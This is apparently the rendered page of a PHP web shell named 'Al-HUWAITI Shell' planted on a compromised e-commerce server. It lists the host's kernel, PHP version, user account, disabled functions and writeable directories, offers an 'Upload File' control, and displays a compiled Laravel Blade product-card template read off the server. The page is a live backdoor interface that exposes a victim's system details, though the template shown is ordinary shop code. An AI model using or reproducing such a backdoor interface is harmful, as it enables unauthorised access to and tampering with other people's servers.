Al-HUWAITI Shell
Al-huwaiti


Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/ecommerce/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/ecommerce/storage/framework/views/e419c24a6f4a81db7dc5075144983b3b3fabdc89.php
<!-- Single Top Product Card -->
<div class="col-6 col-md-4 mt-4">
    <div class="card product-card">
        <div class="card-body">
            <?php if($product->created_at->diffInDays() < 10): ?>
                <!-- Badge--><span class="badge rounded-pill badge-success">New</span>
            <?php endif; ?>

            <?php if($product->discount): ?>
                <!-- Badge--><span class="badge rounded-pill badge-danger">-<?php echo e($product->discount); ?>%</span>
                
            <?php endif; ?>

            <?php if(auth()->check()): ?>
                <?php if($inWishProducts->where('product_id', $product->id)->isEmpty()): ?>
                    <a title="Wishlist"
                        class="wishlist-btn"
                        href="<?php echo e(route('add-to-wishlist', $product->slug)); ?>"
                        data-id="<?php echo e($product->id); ?>"
                        title="Add to Wishlist"
                    >
                        <i class=" ti-heart "></i>
                    </a>
                <?php else: ?>
                    <a href="#0" style="color: #3CC78F !important" type="button"
                        class="wishlist-btn"
                        data-id="<?php echo e($product->id); ?>"
                        title="Added to Wishlist"
                    >
                        <i class=" ti-heart "></i>
                    </a>
                <?php endif; ?>
            <?php else: ?>
                <!-- Wishlist Button-->
                <a class="wishlist-btn"
                    href="<?php echo e(route('login.form', [
                        'redirect_uri' => route('add-to-wishlist', $product->slug),
                    ])); ?>"
                    data-id="<?php echo e($product->id); ?>"
                >
                    <i class=" ti-heart "></i>
                </a>
            <?php endif; ?>
            <!-- Thumbnail --><a class="product-thumbnail d-block" href="<?php echo e(route('product-detail', $product->slug)); ?>">
                <?php
                    $photo = explode(',', $product->photo);
                ?>
                <img class="mb-2"
                    src="<?php echo e(Helper::imagePath($photo[0])); ?>"
                    alt="<?php echo e($photo[0]); ?>"
                />
            </a>
            <!-- Product Title --><a class="product-title d-block" href="<?php echo e(route('product-detail', $product->slug)); ?>"><?php echo e($product->title); ?></a>
            <!-- Product Price -->
            <p class="sale-price">
                <?php if($product->discount): ?>
                    <?php echo config('shop.currency_symbol'); ?> <?php echo e(number_format($product->discounted_price, 2)); ?>

                    <span><?php echo config('shop.currency_symbol'); ?> <?php echo e(number_format($product->price, 2)); ?></span>
                <?php else: ?>
                    <?php echo config('shop.currency_symbol'); ?> <?php echo e(number_format($product->price, 2)); ?>

                <?php endif; ?>
            </p>
            <!-- Rating -->
            <div class="product-rating">
                <?php
                    $rate = ceil($product->reviews->avg('rate'));
                ?>
                <?php for($i = 1; $i <= 5; $i++): ?>
                    <?php if($rate >= $i): ?>
                        <i class="fa fa-star"></i>
                    <?php else: ?>
                        <i class="fa fa-star-o"></i>
                    <?php endif; ?>
                <?php endfor; ?>
            </div>
            <!-- Add to Cart --><a class="btn btn-success btn-sm" href="<?php echo e(route('add-to-cart', $product->slug)); ?>"><i
                    class="ti-plus"></i></a>
        </div>
    </div>
</div>
<?php /**PATH /var/www/ecommerce/resources/views/frontend/partials/grid-product.blade.php ENDPATH**/ ?>

Al-HUWAITI Shell